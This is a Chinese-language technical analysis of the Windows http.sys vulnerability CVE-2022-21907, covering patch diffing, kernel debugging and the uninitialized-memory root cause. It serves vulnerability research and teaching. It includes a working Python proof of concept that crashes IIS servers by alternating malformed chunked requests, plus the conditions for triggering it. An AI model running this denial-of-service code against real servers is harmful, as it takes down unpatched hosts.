CVE-2022-21907：HTTP.SYS RCE漏洞分析

admin
admin
admin
140338
文章
117
评论
2025年2月15日23:06:20评论38 views字数 13210阅读44分2秒阅读模式

1. 漏洞说明

名称：HTTP Protocol Stack Remote Code Execution Vulnerability

简介：漏洞存在于 http.sys 中，如果目标服务器中存在使用 http.sys 处理数据包的服务，未授权用户可以通过发送经过特殊构造的请求包触发漏洞

影响版本：

  • Windows 10 Version 1809 for 32-bit Systems

  • Windows 10 Version 1809 for x64-based Systems

  • Windows 10 Version 1809 for ARM64-based Systems

  • Windows 10 Version 21H1 for 32-bit Systems

  • Windows 10 Version 21H1 for x64-based System

  • Windows 10 Version 21H1 for ARM64-based Systems

  • Windows 10 Version 20H2 for 32-bit Systems

  • Windows 10 Version 20H2 for x64-based Systems

  • Windows 10 Version 20H2 for ARM64-based Systems

  • Windows 10 Version 21H2 for 32-bit Systems

  • Windows 10 Version 21H2 for x64-based Systems

  • Windows 10 Version 21H2 for ARM64-based Systems

  • Windows 11 for x64-based Systems

  • Windows 11 for ARM64-based Systems

  • Windows Server 2019

  • Windows Server 2022

编号：CVE-2022-21907

2. 补丁分析

使用 BinDiff 发现有五个函数进行了修改：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

可以将这三个函数分为三类：

1. 简单的清零操作： UlpFreeFastTracker 和 UlpFastSendCompleteWorker

这两个函数只增加了一个 and 操作进行清零

CVE-2022-21907：HTTP.SYS RCE漏洞分析

2. memset 清零操作： UlAllocateFastTrackerToLookaside 和 UlpAllocateFastTracker

这两个函数在 ExAllocatePoolWithTagPriority 函数调用后，增加了对部分空间执行了 memset 操作进行初始化

3. 多处修改： UlFastSendHttpResponse

注意第二类和第三类函数，在检查函数引用关系的时候，没有找到 UlAllocateFastTrackerToLookaside 的直接调用，但是 UlFastSendHttpResponse 函数调用了 UlpAllocateFastTracker 函数，因此主要关注这两个函数。

1. 在 UlpAllocateFastTracker 函数中， memset 并没有对分配的整个空间进行初始化：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

注意到只初始化了偏移 0 位置后面 0x290 大小的空间以及偏移 0x118 位置后面 0x50 大小的空间。

2. UlFastSendHttpResponse 函数虽然修改位置很多，但是如果从 IDA 的伪代码中分析，会发现修改后的函数直接调用了两次 UlpAllocateFastTracker 函数，但是修改前的函数在第一次调用位置并没有进行函数调用，而是直接执行了类似 UlpAllocateFastTracker 函数中的代码

CVE-2022-21907：HTTP.SYS RCE漏洞分析

综上，补丁的修改还是集中在了对分配空间的初始化上，因此猜测该漏洞原理是未对分配的空间进行正确的初始化，并引用了未初始化空间。

3. 漏洞触发异常分析

3.1 poc 简要逻辑及初步分析

网上已经存在了有效的 poc ，poc 地址：https://github.com/polakow/CVE-2022-21907

其主要逻辑：

import socketimport sysip = "192.168.127.130"port = 80data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"for i in range(0, 1000):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((ip, port))    s.sendall(payload.encode('ascii'))    s.sendall(payload2.encode('ascii'))

该 poc 代码有三个要点：

  1. 数据包中包含 Trailer 头；

    根据微软提出的缓解措施， Windows Server 2019 和 Windows 10 version 1809 可以将注册表HKEY_LOCAL_MACHINESystemCurrentControlSetServicesHTTPParameters 中的 EnableTrailerSupport 项删除，因此判断该漏洞和 Trailer 有关

  2. 构造了不包含 HTTP 版本信息 (HTTP/1.1) 的数据包

    为什么构造此类数据包的原因暂时不明

  3. 进行大量迭代循环，且数据包中包含了大量 (0x1000) 数据

    在上面的分析中，猜测漏洞原理是未对分配的空间进行正确的初始化，因此判断这一要点是为了保证未初始化的分配空间中包含随机数据，且满足漏洞触发条件。

3.2 环境搭建

要想利用该漏洞，目标机器中需要存在使用 http.sys 的服务， IIS 使用了该文件处理请求包，因此可以在目标机器上安装 IIS 服务进行测试。

系统版本：Microsoft Windows10 专业版 10.0.19043

安装 IIS 服务并将系统中的 http.sys 替换为 10.0.19041.1387 的版本

3.3 异常分析

执行 poc 后获得系统崩溃日志中的函数调用流程，可以发现异常发生在 UlFastSendHttpResponse 调用 MmUnmapLockedPages 的时候：

``````````````````````````````````````````````````````````````````````````````**                                                                             **                        Bugcheck Analysis                                    **                                                                             *``````````````````````````````````````````````````````````````````````````````*PAGE_FAULT_IN_NONPAGED_AREA (50)Invalid system memory was referenced.  This cannot be protected by try-except.Typically the address is just plain bad or it is pointing at freed memory.Arguments:Arg1: ffff8220a0a0a0a0, memory referenced.Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.Arg3: 0000000000000000, If non-zero, the instruction address which referenced the bad memory  address.Arg4: 0000000000000006, (reserved)...TRAP_FRAME:  ffffee8f36f61e90 -- (.trap 0xffffee8f36f61e90)NOTE: The trap frame does not contain all registers.Some register values may be zeroed or incorrect.rax=0000000000000000 rbx=0000000000000000 rcx=ffff8220a0a0a0a0rdx=0000000000000003 rsi=0000000000000000 rdi=0000000000000000rip=fffff80745a93d0f rsp=ffffee8f36f62020 rbp=0000000000041415 r8=0000007ffffffff8  r9=ffff824120904410 r10=0000000000000003r11=ffff824120904000 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000iopl=0         nv up ei pl zr na po ncnt!MiMappingHasIoTracker+0x3f:fffff807*45a93d0f 488b1f          mov     rbx,qword ptr [rdi] ds:00000000*00000000=????????????????Resetting default scopeSTACK_TEXT:  ffffee8f*36f61358 fffff807*45d28372     : ffffee8f*36f614c0 fffff807*45b92670 00000000*00000000 00000000*00000000 : nt!DbgBreakPointWithStatusffffee8f*36f61360 fffff807*45d27956     : 00000000*00000003 ffffee8f*36f614c0 fffff807*45c20cc0 00000000*00000050 : nt!KiBugCheckDebugBreak+0x12ffffee8f*36f613c0 fffff807*45c0bf47     : 000004e8*fffffb30 000004d0*fffffb30 00000000*00000000 00000000*00000000 : nt!KeBugCheck2+0x946ffffee8f*36f61ad0 fffff807*45c5e3b5     : 00000000*00000050 ffff8220*a0a0a0a0 00000000*00000000 ffff8241*20904410 : nt!KeBugCheckEx+0x107ffffee8f*36f61b10 fffff807*45a23227     : 00000000*00000000 00000000*00000000 ffffee8f*36f61e90 00000000*00000000 : nt!MiInPagePageTable+0x1965d5ffffee8f*36f61c60 fffff807*45a226ca     : 00000000*00040293 00000000*00000000 ffffee8f*36f61f10 00000000*00000000 : nt!MiUserFault+0x5e7ffffee8f*36f61cf0 fffff807*45c19f5e     : 00000000*00000d4a fffff807*00000000 00000000*00001001 00000000*00000fff : nt!MmAccessFault+0x16affffee8f*36f61e90 fffff807*45a93d0f     : ffffde8f*232c7880 00000000*00000000 00000000*00000000 ffff819a*e26bc900 : nt!KiPageFault+0x35effffee8f*36f62020 fffff807*45a93c60     : ffffde8f*232c7b90 ffff8220*a0a0a0a0 ffffde8f*232c7880 00000000*00000000 : nt!MiMappingHasIoTracker+0x3fffffee8f*36f62050 fffff807*4b34b9be     : 00000000*00000000 00000000*000000c8 ffffde8f*2318fdb0 00000000*00000000 : nt!MmUnmapLockedPages+0xa0ffffee8f*36f62080 fffff807*4b3154b1     : 00000000*00000002 ffffde8f*2318fdb0 ffffde8f*230dd010 00000000*00000000 : HTTP!UlFastSendHttpResponse+0x2e43effffee8f*36f62390 fffff807*4b313e7b     : 00000000*0012403f fffff807*45e4122e ffffde8f*231680c0 ffffee8f*00000000 : HTTP!UlpSendResponseOrEntityBodyFastIo+0x1621ffffee8f*36f62840 fffff807*4b263168     : 00000000*00000008 fffff807*45a79eea 00000000*79517350 ffffee8f*36f628c0 : HTTP!UlSendHttpResponseFastIo+0x2bffffee8f*36f62890 fffff807*45e12f92     : 00000000*0012403f ffffee8f*36f62b80 fffff807*4b2630d0 ffffde8f*2318fdb0 : HTTP!UxFastIoDeviceControl+0x98ffffee8f*36f628e0 fffff807*45e12bf6     : 00000000*00000000 00000000*00000000 00000000*00000000 0000018d*e8b087e8 : nt!IopXxxControlFile+0x382

根据 Windows XP 泄露源码中对 UlFastSendHttpResponse 的注释：

Routine Description:
The routine to send the following type of response:
1. One or zero data chunk is "from fragment cache" and all remaining data chunks are "from memory" whose total size is <= 2k.
2. One "from memory" data chunk whose total size is <= 64k.

所以在响应包不太大的时候，http.sys 会使用该函数进行响应，而不是 UlSendHttpResponse 函数。

接下来，找到 MmUnmapLockedPages 函数的调用位置：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

其中 fasttracker 是 UlpAllocateFastTracker 函数的返回值，从代码上看，fasttracker 中存储的是 _SLIST_ENTRY 结构，其定义为：

typedef struct _SLIST_ENTRY {  struct _SLIST_ENTRY *Next;} SLIST_ENTRY, *PSLIST_ENTRY;

可以看到只保存了指向下一项的指针，如果想保存数据，需要将 SINGLE_LIST_ENTRY 作为成员变量放入另一个保存了数据的结构体中。

而 MmUnmapLockedPages 用于释放 virtual address 和 physical pages 之间的映射，其定义为：

void MmUnmapLockedPages(  [in] PVOID BaseAddress,  [in] PMDL  MemoryDescriptorList);

其中第二个参数是指向 MDL 的指针，MDL 结构：

typedef struct _MDL {  0x00 struct _MDL      *Next;  0x08 CSHORT           Size;  0x0a CSHORT           MdlFlags;  ...unknown member  0x10 struct _EPROCESS *Process;  0x18 PVOID            MappedSystemVa;  PVOID            StartVa;  ULONG            ByteCount;  ULONG            ByteOffset;} MDL, *PMDL;

正常来说，驱动应该只使用其中的 Next 和 MdlFlags 成员，MdlFlags 为 1 表示的是 MDL_MAPPED_TO_SYSTEM_VA 。

在调用 MmUnmapLockedPages 的时候设置一个断点，检查其参数情况：

3: kd> bl     2 e Disable Clear  fffff804*70b0e9ed     0001 (0001) HTTP!UlFastSendHttpResponse+0x2e86d ".echo '=== MmUnmapLockedPages ==='; r rcx; r rdx; g"

得到输出：

3: kd> g'=== MmUnmapLockedPages ==='rcx=000000000003d72drdx=ffff820fbe272320'=== MmUnmapLockedPages ==='rcx=000000000007f400rdx=ffff820fbea60900'=== MmUnmapLockedPages ==='rcx=4141414141414141rdx=ffff820fbeae8a60

也就是说我们控制了 MmUnmapLockedPages 函数的第一个参数。

从代码看，如果想要到达 MmUnmapLockedPages 函数的调用位置，需要保证 fasttracker 偏移 0x50 处值 (fasttracker[5].Next) 非 0，且对偏移 0x80 处数值指向的位置取值后，偏移 0xa 处数值最低位 ((mdl->MdlFlags & 1) != 0) 非 0。

如果之前对于漏洞原理的猜测正确，那么这两处位置在补丁修改前显然是未进行初始化的，接下来需要验证这一点。

4. 详细调试分析

4.1 确定是否进行过赋值

首先确定这两个位置的数值是否进行过赋值。

通过IDA中的代码进行初步分析，在 ExAllocatePoolWithTagPriority 分配完空间后，调用了 UlInitializeFastTrackerPool 函数对空间进行了一些赋值，其中包括了偏移 0x80 的位置：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

对应的汇编代码：

lea     rbx, [rcx+290h]xor     esi, esiadd     rbx, rdxadd     rbx, rdxmov     [rcx+80h], rbx

其中 rdx 中的数值为 MmSizeOfMdl 函数的返回值，因为 mdl 结构的大小并不固定，会根据其描述的 IO 缓冲区性质不同有所改变，但是至少在对该漏洞进行调试的过程中，由于场景是固定不变的，所以整个数值也是固定不变的（此次调试发现该大小为 0x40 ）。

因此，ExAllocatePoolWithTagPriority 分配空间偏移 0x80 处的数值为【空间首地址+290h+2*40h】，也就是说偏移 0x80 处指向的其实是分配空间中更远处的一个位置，这个位置在此次调试中是相对固定的

回过头来看 MmUnmapLockedPages 函数的调用参数：

mdl = fasttracker[8].Next;if ( (mdl->MdlFlags & 1) != 0 )    MmUnmapLockedPages(mdl->MappedSystemVa, fasttracker[8].Next);

第二个参数就是地址【空间首地址+290h+2*40h】，第一个参数是该地址再偏移 0x18 处的数值，即【空间首地址+290h+2*40h+18h】处的数值，可控的正是这个数值。

而偏移 0x50 的赋值发生在函数 UlFastSendHttpResponse 中：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

4.2 确定数值是否发生过修改

上面确定了 MmUnmapLockedPages 函数的参数来源，但是这一结论的前提是偏移 0x80 位置的数值在 UlInitializeFastTrackerPool 中赋值后就没有再发生变化，除此之外，也要确定偏移 0x50 位置的赋值是什么情况，因此设立以下断点：

// 检查AllocateFTracker调用结束后，分配空间偏移0开始0x90大小的空间 以及 偏移310h开始0x30大小的空间bu HTTP!UlFastSendHttpResponse+0xe97 ".echo '===AllocateFTracker==='; dq rax l12; dq rax+310 l6; g"// 检查MmUnmapLockedPages调用前，分配空间偏移0开始0x90大小的空间 以及 两个参数值bu HTTP!UlFastSendHttpResponse+0x2e86d ".echo '===MmUnmapLockedPages==='; dq rdi l12; r rcx; r rdx; g"

得到输出：

'===AllocateFTracker==='ffffc304*6eb311f0  33313530*5a313235 0c030455*03063130ffffc304*6eb31200  6f736f00*55466c55 545f4153*525f7466ffffc304*6eb31210  00000000*00000000 31305f41*435f676effffc304*6eb31220  00000000*00000000 30220182*30676e69ffffc304*6eb31230  00000000*00000000 82030005*0101010dffffc304*6eb31240  020a0182*30000f01 b5a56ca0*000002b8  // 偏移0x50ffffc304*6eb31250  ffffc304*6eb31578 ffffc304*6eb314c0ffffc304*6eb31260  ffffc304*6eb31480 ffffc304*6eb314c0ffffc304*6eb31270  ffffc304*6eb31500 ffffc304*6eb31538  // 偏移0x80ffffc304*6eb31500  2c0beabb*4fbc25c6 b51eed0f*7e4965b5  // 偏移0x310ffffc304*6eb31510  1268b091*7eb5a05c b5e9560f*547b7d51ffffc304*6eb31520  6665a782*4981f7bb 6840aec4*c4b0db26'===MmUnmapLockedPages==='ffffc304*6eb311f0  33313530*5a313235 0c030455*03063130ffffc304*6eb31200  6f736f00*55466c55 545f4153*525f7466ffffc304*6eb31210  00000000*00000000 31305f41*435f676effffc304*6eb31220  00000000*00000000 30220182*30676e69ffffc304*6eb31230  00000000*00000000 82030005*0101010dffffc304*6eb31240  020a0182*30000f01 b5a56ca0*000002b8  // 偏移0x50ffffc304*6eb31250  ffffc304*6eb31578 ffffc304*6eb314c0ffffc304*6eb31260  ffffc304*6eb31480 ffffc304*6eb314c0ffffc304*6eb31270  ffffc304*6eb31500 ffffc304*6eb31538  // 偏移0x80rcx=b5e9560f547b7d51rdx=ffffc3046eb31500

注意到偏移 0x50 处的数值 020a018230000f01 在 AllocateFTracker 函数调用结束后没有发生过变化，偏移 0x80 处的数值 ffffc3046eb31500 没有发生过变化，且该数值即为【空间首地址+290h+2*40h】

MmUnmapLockedPages 的第一个参数为 b5e9560f547b7d51 ，即【空间首地址+290h+2*40h+18h】处的数值，第二个参数为 ffffc3046eb31500，即【空间首地址+290h+2*40h】

MmUnmapLockedPages 的第一个参数正常情况下应该是一个基地址，但是此时是一个无效地址，因此产生异常。

根据以上输出，我们在上一小节得到的结论是正确的，而且偏移 0x50 处的数值也并没有发生后续的赋值操作。

4.3 分配空间后发生了什么

根据上一小节的结论，函数 UlFastSendHttpResponse 中对偏移 0x50 的赋值操作并没有发生，因此直接在 UlpAllocateFastTracker 调用结束后设置断点，单步调试，看一下分配空间后发生了什么。

在此不再贴出调试过程，但是发现在空间分配完成后，程序调用了 UlGenerateFixedHeaders 函数，由于执行失败，返回值小于 0 ，所以直接跳转到了 LABEL_263 ，即发生 MmUnmapLockedPages 函数调用的位置。

CVE-2022-21907：HTTP.SYS RCE漏洞分析

正是由于 UlGenerateFixedHeaders 函数执行失败，程序才能够跳过中间的大段代码，直接执行最后的清理操作，导致了漏洞的发生。

检查 UlGenerateFixedHeaders 的代码发现：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

如果第六个参数 a6 ≤ 0 ，就会进入上图中的代码块，直接跳转到最后，返回 0xC000000D 。

再看一下第六个参数的来源，向上回溯：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

第六个参数来自于 UlComputeFixedHeaderSize 函数的计算结果。

我在网上找到了以前 windows 泄露源码中 UlComputeFixedHeaderSize 的定义：

NTSTATUSUlComputeFixedHeaderSize(    IN HTTP_VERSION Version,    IN PHTTP_RESPONSE pUserResponse,    IN KPROCESSOR_MODE AccessMode,    OUT PULONG pHeaderLength    ){    NTSTATUS Status = STATUS_SUCCESS;    ULONG HeaderLength = 0;    ULONG i;    PHTTP_UNKNOWN_HEADER pUnknownHeaders;    USHORT UnknownHeaderCount;    //    // Sanity check.    //    PAGED_CODE();    ASSERT(pHeaderLength != NULL);    if ((pUserResponse == NULL) || (HTTP_EQUAL_VERSION(Version, 0, 9)))    {        *pHeaderLength = 0;        return STATUS_SUCCESS;    }    ....}

也就是说，第六个参数就是上述代码中的 pHeaderLength ，如果 (pUserResponse == NULL) || (HTTP_EQUAL_VERSION(Version, 0, 9)) 条件满足， pHeaderLength 就会被设为0并返回，最终导致 UlGenerateFixedHeaders 函数执行失败。

经过调试发现，如果发送的请求包中不包含 HTTP 版本信息 (HTTP/1.1) ，默认的版本就是 0.9 。

5. 漏洞利用

5.1 DoS

在3.1小结中提到 poc 代码就可以做到 DoS ，其中提到了3个要点，当时尚无法解释第二个要点，即为何要构造不包含 HTTP 版本信息 (HTTP/1.1) 的请求数据包。经过上一节的分析，我们知道只有在这种情况下， UlGenerateFixedHeaders 函数才会执行失败，导致部分分配空间没有正确初始化，却直接跳转到了 MmUnmapLockedPages 函数进行空间的清理操作。

除此之外，第三个要点也需要注意，在原始 poc 代码中，构造的请求包中包含了 0x1000 大小的数据，这一点并不是必须的。构造大量数据是为了填充堆空间，导致未初始化的分配空间中的数据不为 0 ，如果目标机器启动后执行了多个进程，即使构造的数据包中数据量很少，仍然能够实现 DoS 攻击。

除了已经提到的三个要点之外，还有一点没有提到，就是构造正常请求数据包的必要性。如果发送的请求包中全部都不包含 HTTP 版本信息，在调试的时候会发现程序会进入下图中的代码段，不会进行空间分配：

CVE-2022-21907：HTTP.SYS RCE漏洞分析

导致这种结果的是条件判断中的v23变量，其来源为：

v22 = *(a9 + 0x18);v23 = !*(v22 + 0xF0) || a1;

但是无法确定其具体含义。

在泄露源码中发现逻辑相似代码中：

LastResponse = (BOOLEAN) (0 == (Flags & HTTP_SEND_RESPONSE_FLAG_MORE_DATA));if (LastResponse && SendIrpStackSize <= DEFAULT_MAX_IRP_STACK_SIZE){    pTracker = pRequest->pTracker;}else{    pTracker = UlpAllocateFastTracker( 0, SendIrpStackSize );}if (pTracker == NULL){    Status = STATUS_INSUFFICIENT_RESOURCES;    goto end;}

如果修改 poc 代码，在每次通过 sendall 发送请求包之后 sleep 一秒钟，发现 v23 数值始终为 1 ，导致程序流程进入上图中的代码段，不会分配空间。

所以猜测可能是由于不包含 HTTP 版本的请求包格式不正确，导致系统无法正常进行响应， v23 这个标志位始终为 1 ，因此构造正常的请求数据包。

综上，该漏洞利用代码需要：

  1. （可选）构造包含大量数据的请求包，以保证未初始化堆空间包含非 0 数据；

  2. 轮流发送正常请求包以及不包含 HTTP 版本信息的请求包，以触发正确的代码执行流程；

  3. 不断迭代发送请求包，以保证未初始化堆空间中的数据满足漏洞利用条件。

5.2 远程命令执行

理论上讲，可以通过堆喷射的方式将攻击者控制的数据放到堆上，然后经过空间的重新分配进入到漏洞代码的执行流程中，但实际应用的成功概率很低，需要考虑更好的覆盖堆空间的方法。

6. 参考资料

  1. Windows源码

    http://218.94.103.156:8090/download/developer/xpsource/Win2K3/NT/net/http/sys/ioctl.c

  2. Proof of Concept: CVE-2022-21907 HTTP Protocol Stack Remote Code Execution Vulnerability

    https://www.coresecurity.com/core-labs/articles/proof-concept-cve-2022-21907-http-protocol-stack-remote-code-execution

  3. HTTP Protocol Stack Remote Code Execution Vulnerability

    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907

  4. MDL structure (wdm.h)

    https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl

  5. Analysis of Microsoft CVE-2022-21907

    https://www.fortinet.com/blog/threat-research/analysis-of-microsoft-cve-2022-21907

原文始发于微信公众号（青藤实验室）：CVE-2022-21907：HTTP.SYS RCE漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:06:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   CVE-2022-21907：HTTP.SYS RCE漏洞分析https://cn-sec.com/archives/1064263.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息